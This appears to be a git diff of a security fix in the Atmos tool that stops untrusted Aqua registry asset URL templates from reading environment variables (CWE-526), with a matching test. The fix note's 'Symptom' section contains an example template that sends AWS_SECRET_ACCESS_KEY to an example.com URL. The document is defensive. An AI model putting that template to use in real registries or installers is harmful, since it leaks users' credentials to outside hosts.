diff --git a/docs/fixes/2026-04-01-sprig-env-exfiltration.md b/docs/fixes/2026-04-01-sprig-env-exfiltration.md new file mode 100644 index 0000000000..39603480d2 --- /dev/null +++ b/docs/fixes/2026-04-01-sprig-env-exfiltration.md @@ -0,0 +1,95 @@ +# Sprig `env`/`expandenv` Exfiltration via Untrusted Templates + +**Date:** 2026-04-01 +**Severity:** Medium — CWE-526 (Cleartext Storage of Sensitive Information in Environment Variables) +**Scope:** Asset URL templates (Aqua registry, installer) — NOT stack templates (intentional feature) + +**Files fixed:** +- `pkg/toolchain/installer/asset.go` (asset URL template rendering — was `TxtFuncMap` with no env cleanup) +- `pkg/toolchain/registry/aqua/aqua.go` (Aqua registry asset templates — was `TxtFuncMap` + manual `delete()`) + +**Files updated (security improvement, backward-compatible):** +- `internal/exec/template_utils.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly +- `pkg/locals/resolver.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly + +--- + +## Symptom + +An Aqua registry YAML file or asset URL template containing: + +```yaml +source: 'https://example.com/download?token={{ env "AWS_SECRET_ACCESS_KEY" }}' +``` + +would have been rendered successfully, allowing a remote/community registry template to read +arbitrary process environment variables (credentials, tokens) at install time. + +--- + +## Root Cause + +Multiple template rendering paths used `sprig.TxtFuncMap()` (or `sprig.FuncMap()`), which +includes `env`, `expandenv`, and `getHostByName`. + +Sprig ships a hermetic variant specifically for untrusted-template contexts: + +| Function | Exposes `env`/`expandenv` | +|----------|--------------------------| +| `sprig.FuncMap()` | **Yes** | +| `sprig.TxtFuncMap()` | **Yes** | +| `sprig.HermeticTxtFuncMap()` | **No** — intentionally omitted | + +### Aqua registry templates (untrusted — now fixed) + +`pkg/toolchain/installer/asset.go` and `pkg/toolchain/registry/aqua/aqua.go` render asset +URL templates from remote Aqua registries. These templates are partially untrusted and should +not be able to read arbitrary env vars. The `aqua.go` code attempted to mitigate this via +manual `delete(funcs, "env")` but this pattern is fragile. Both files now use +`sprig.HermeticTxtFuncMap()` directly. + +### Stack templates (trusted — env is an intentional feature) + +`internal/exec/template_utils.go` and `pkg/locals/resolver.go` render Atmos stack manifests. +`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g. +to inject git tokens in `vendor.yaml` source URLs or to embed the current user in stack vars. + +The Sprig base is now `HermeticTxtFuncMap()` (removing other OS/network side-effects like +`getHostByName`) but `env` and `expandenv` are **explicitly re-added** as a deliberate design +decision, not inherited from the full Sprig map. + +--- + +## Fix + +### Aqua registry / installer templates (untrusted — full env removal) + +```go +// pkg/toolchain/installer/asset.go — after +funcs := sprig.HermeticTxtFuncMap() // env/expandenv omitted + +// pkg/toolchain/registry/aqua/aqua.go — after (manual deletes replaced) +funcs := sprig.HermeticTxtFuncMap() // env/expandenv/getHostByName omitted +``` + +### Stack templates (trusted — explicit re-provision) + +```go +// internal/exec/template_utils.go — getSprigFuncMap uses HermeticTxtFuncMap +// getEnvFuncMap explicitly provides env/expandenv for stack templates +func getEnvFuncMap() template.FuncMap { + return template.FuncMap{ + "env": os.Getenv, + "expandenv": os.ExpandEnv, + } +} +// Assembled: gomplate + hermetic sprig + explicit env + atmos funcmap +funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(...)) +``` + +--- + +## Related + +- Sprig docs: — "Hermetic" section +- CWE-526: diff --git a/docs/prd/exit-codes.md b/docs/prd/exit-codes.md index b7a7cd50d3..58c7e094fc 100644 --- a/docs/prd/exit-codes.md +++ b/docs/prd/exit-codes.md @@ -40,7 +40,7 @@ Atmos follows POSIX.1-2017 and Linux Standard Base (LSB) conventions: - [POSIX Exit Status](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_08_02) - [Linux Standard Base - Exit Codes](https://refspecs.linuxfoundation.org/LSB_5.0.0/LSB-Core-generic/LSB-Core-generic/iniscrptact.html) -- [sysexits.h](https://man.openbsd.org/sysexits) - BSD exit codes +- [sysexits.h](https://www.freebsd.org/cgi/man.cgi?query=sysexits&sektion=3) - BSD exit codes - [Bash Exit Codes](https://www.gnu.org/software/bash/manual/html_node/Exit-Status.html) ## Atmos Exit Code Mapping diff --git a/internal/exec/template_utils.go b/internal/exec/template_utils.go index dd2b6cc0c4..a23e7548f4 100644 --- a/internal/exec/template_utils.go +++ b/internal/exec/template_utils.go @@ -38,17 +38,43 @@ const ( logKeyTemplate = "template" ) -// getSprigFuncMap returns a cached copy of the sprig function map. +// getSprigFuncMap returns a cached copy of the sprig hermetic function map. // Sprig function maps are expensive to create (173MB+ allocations) and immutable, // so we cache and reuse them across template operations. // This optimization reduces heap allocations by ~3.76% (173MB) per profile run. +// +// We use HermeticTxtFuncMap instead of FuncMap to exclude non-pure side-effectful +// functions like env/expandenv/getHostByName from the Sprig base. The env and +// expandenv functions are instead provided explicitly via getEnvFuncMap, which +// is a deliberate design decision: stack templates legitimately need env var access +// (e.g. {{ env "GITHUB_TOKEN" }} in vendor.yaml, {{ env "USER" }} in stack manifests). +// For untrusted-template contexts (Aqua registry, asset URL templates) use only +// HermeticTxtFuncMap without getEnvFuncMap. func getSprigFuncMap() template.FuncMap { sprigFuncMapCacheOnce.Do(func() { - sprigFuncMapCache = sprig.FuncMap() + sprigFuncMapCache = sprig.HermeticTxtFuncMap() }) return sprigFuncMapCache } +// getEnvFuncMap returns a FuncMap with env and expandenv functions. +// These are provided separately from getSprigFuncMap so that: +// 1. The Sprig base (HermeticTxtFuncMap) stays free of other OS/network side-effects. +// 2. Stack templates that legitimately need {{ env "KEY" }} and {{ expandenv "$KEY" }} +// get those functions via an explicit deliberate provision rather than inheriting +// them from the full Sprig FuncMap. +// 3. Untrusted-template contexts (asset URL templates, Aqua registry) can safely +// use only HermeticTxtFuncMap without these functions. +// +// The env and expandenv functions shadow Gomplate's "env" namespace object, which +// takes 0 arguments and is not compatible with {{ env "KEY" }} syntax used in Atmos. +func getEnvFuncMap() template.FuncMap { + return template.FuncMap{ + "env": os.Getenv, + "expandenv": os.ExpandEnv, + } +} + // ProcessTmpl parses and executes Go templates. func ProcessTmpl( atmosConfig *schema.AtmosConfiguration, @@ -67,7 +93,7 @@ func ProcessTmpl( if cfg == nil { cfg = &schema.AtmosConfiguration{} } - funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), FuncMap(cfg, &schema.ConfigAndStacksInfo{}, ctx, &d)) + funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(cfg, &schema.ConfigAndStacksInfo{}, ctx, &d)) t, err := template.New(tmplName).Funcs(funcs).Parse(tmplValue) if err != nil { @@ -311,6 +337,9 @@ func ProcessTmplWithDatasources( // Sprig functions if atmosConfig.Templates.Settings.Sprig.Enabled { funcs = lo.Assign(funcs, getSprigFuncMap()) + // Explicitly add env/expandenv since HermeticTxtFuncMap excludes them + // but they are a documented, intentional feature of Atmos stack templates. + funcs = lo.Assign(funcs, getEnvFuncMap()) } // Atmos functions diff --git a/internal/exec/template_utils_env_test.go b/internal/exec/template_utils_env_test.go index 29dcda7fae..69f31777f7 100644 --- a/internal/exec/template_utils_env_test.go +++ b/internal/exec/template_utils_env_test.go @@ -199,7 +199,7 @@ func TestProcessTmplWithDatasources_EnvVarsFromConfig(t *testing.T) { configAndStacksInfo := &schema.ConfigAndStacksInfo{} settingsSection := schema.Settings{} - // Template that reads the env var using Sprig's env function. + // Template that reads the env var using the env function (provided via getEnvFuncMap). tmplValue := ` config: profile: '{{ env "TEST_GOMPLATE_AWS_PROFILE" }}' diff --git a/pkg/locals/resolver.go b/pkg/locals/resolver.go index 4b4f1b617b..c1fa42e79f 100644 --- a/pkg/locals/resolver.go +++ b/pkg/locals/resolver.go @@ -12,6 +12,7 @@ package locals import ( "bytes" "fmt" + "os" "sort" "strings" "text/template" @@ -453,7 +454,19 @@ func (r *Resolver) resolveString(strVal, localName string) (any, error) { context["locals"] = r.resolved // Parse and execute the template. - tmpl, err := template.New(localName).Funcs(sprig.FuncMap()).Parse(strVal) + // HermeticTxtFuncMap is used as the Sprig base to exclude non-pure side-effectful + // functions (e.g. getHostByName). env and expandenv are added back explicitly + // because they are a documented, intentional feature for locals templates + // (e.g. {{ env "HOME" | default "/tmp" }}). + envFuncMap := template.FuncMap{ + "env": os.Getenv, + "expandenv": os.ExpandEnv, + } + funcMap := sprig.HermeticTxtFuncMap() + for k, v := range envFuncMap { + funcMap[k] = v + } + tmpl, err := template.New(localName).Funcs(funcMap).Parse(strVal) if err != nil { return nil, fmt.Errorf("failed to parse template for local %q in %s: %w", localName, r.filePath, err) } diff --git a/pkg/toolchain/installer/asset.go b/pkg/toolchain/installer/asset.go index 64c3bd1cac..3b5eaf60ca 100644 --- a/pkg/toolchain/installer/asset.go +++ b/pkg/toolchain/installer/asset.go @@ -189,9 +189,11 @@ func buildTemplateData(tool *registry.Tool, version string) *assetTemplateData { } // assetTemplateFuncs returns the template functions for asset URL templates. -// Uses Sprig v3 text functions as the base (matching Aqua upstream), with Aqua-specific overrides. +// Uses Sprig v3 hermetic text functions as the base (matching Aqua upstream), with Aqua-specific overrides. +// HermeticTxtFuncMap is used instead of TxtFuncMap to exclude env/expandenv, preventing +// asset URL templates from reading arbitrary process environment variables (CWE-526). func assetTemplateFuncs() template.FuncMap { - funcs := sprig.TxtFuncMap() + funcs := sprig.HermeticTxtFuncMap() // Override with Aqua-specific functions that have different argument order // or behavior than Sprig equivalents. diff --git a/pkg/toolchain/installer/asset_test.go b/pkg/toolchain/installer/asset_test.go index 5ce701425a..e0f3ebc77e 100644 --- a/pkg/toolchain/installer/asset_test.go +++ b/pkg/toolchain/installer/asset_test.go @@ -963,3 +963,15 @@ func TestBuildTemplateData_WindowsArmEmulation(t *testing.T) { assert.Equal(t, runtime.GOARCH, data.Arch, "WindowsArmEmulation should not affect Arch on non-windows-arm64") } } + +// TestAssetTemplateFuncs_EnvBlocked verifies that env and expandenv are not available +// in asset URL templates, preventing exfiltration of process environment variables (CWE-526). +func TestAssetTemplateFuncs_EnvBlocked(t *testing.T) { + funcs := assetTemplateFuncs() + + _, hasEnv := funcs["env"] + assert.False(t, hasEnv, "env function must not be available in asset templates (CWE-526)") + + _, hasExpandEnv := funcs["expandenv"] + assert.False(t, hasExpandEnv, "expandenv function must not be available in asset templates (CWE-526)") +} diff --git a/pkg/toolchain/registry/aqua/aqua.go b/pkg/toolchain/registry/aqua/aqua.go index dfed4abde1..c55088dc4d 100644 --- a/pkg/toolchain/registry/aqua/aqua.go +++ b/pkg/toolchain/registry/aqua/aqua.go @@ -697,15 +697,11 @@ func buildAssetTemplateData(tool *registry.Tool, releaseVersion, semVer string) } // assetTemplateFuncs returns the template function map for asset URL templates. -// Uses Sprig v3 text functions as the base (matching Aqua upstream), with Aqua-specific overrides. +// Uses Sprig v3 hermetic text functions as the base (matching Aqua upstream), with Aqua-specific overrides. +// HermeticTxtFuncMap excludes env, expandenv, and getHostByName, preventing remote registry +// templates from reading process environment variables or performing DNS lookups (CWE-526). func assetTemplateFuncs() template.FuncMap { - funcs := sprig.TxtFuncMap() - - // Security: remove OS/network helpers that could leak secrets from remote registry templates. - // Matches Helm and Argo CD which also remove these from Sprig. - delete(funcs, "env") - delete(funcs, "expandenv") - delete(funcs, "getHostByName") + funcs := sprig.HermeticTxtFuncMap() // Override with Aqua-specific functions that have different argument order // or behavior than Sprig equivalents.